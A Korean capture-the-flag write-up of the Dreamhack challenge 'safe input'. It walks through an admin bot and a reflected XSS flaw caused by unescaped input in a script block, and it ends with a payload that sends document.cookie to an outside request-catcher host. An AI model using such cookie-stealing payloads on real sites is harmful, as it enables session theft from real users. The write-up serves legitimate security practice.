[Dreamhack] Level 2: safe input

1. 문제 

https://dreamhack.io/wargame/challenges/1671

safe input

2. 해결 과정

문제 페이지에 접속해보면 /test로 연결된다. 

 

문제 파일을 다운로드 받아보면 report와 test 페이지에 대한 정보를 얻을 수 있다. 

 

먼저 app.py 코드는 셀레니움을 통해 크롬 브라우저를 실행하는 코드이다.

driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(f"http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
sleep(1)

 

 

또한 2가지의 라우터가 존재한다. 

• /test (GET): text 값을 가져와서 test.html에 전달
• /report :  form에서 text 값을 받아서 access_page() 함수 실행 (flag 쿠키와 함께) -> 성공/실패 여부를 메시지로 표시

실제로 text에 1234를 입력해서 요청을 보내면 그대로 입력값이 삽입되는 것을 확인할 수 있었다.

 

다음으로 report 페이지에 접속하여 form에 아무값을 입력해보았더니 fail 이 떴다. 

 

즉 , 정리해보면 

 

1. 사용자가 /report 페이지에서 text값 입력
2. 서버의 Chrome이 /test?text= ~~ 페이지 방문
3. 이때 Chrome은 FLAG라는 비밀값을 쿠키로 가지고 있음

따라서 플래그를 얻기 위해서는 쿠키값을 탈취해야 한다는 것이다.

 

 

이때 test.html을 보면 사용자 입력(test)이 JavaScript 문자열에 직접 삽입되는 것을 확인할 수 있다. 

즉, xss 취약점이 존재한다.

 

    <script>
            const contentElement = document.getElementById('content');
            const safeInput = "Test: " + `{{test|safe}}`;
    </script>

 

따라서 입력값 형식을 맞춰서 닫아주고 fetch()를 이용하여 쿠키값을 요청하는 스크립트 구문을 넣어줄 것이다.

 

"}); </script><script>fetch('https://yudvndj.request.dreamhack.games?flag=' + document.cookie);//

 

 

플래그 획득 성공 ! ><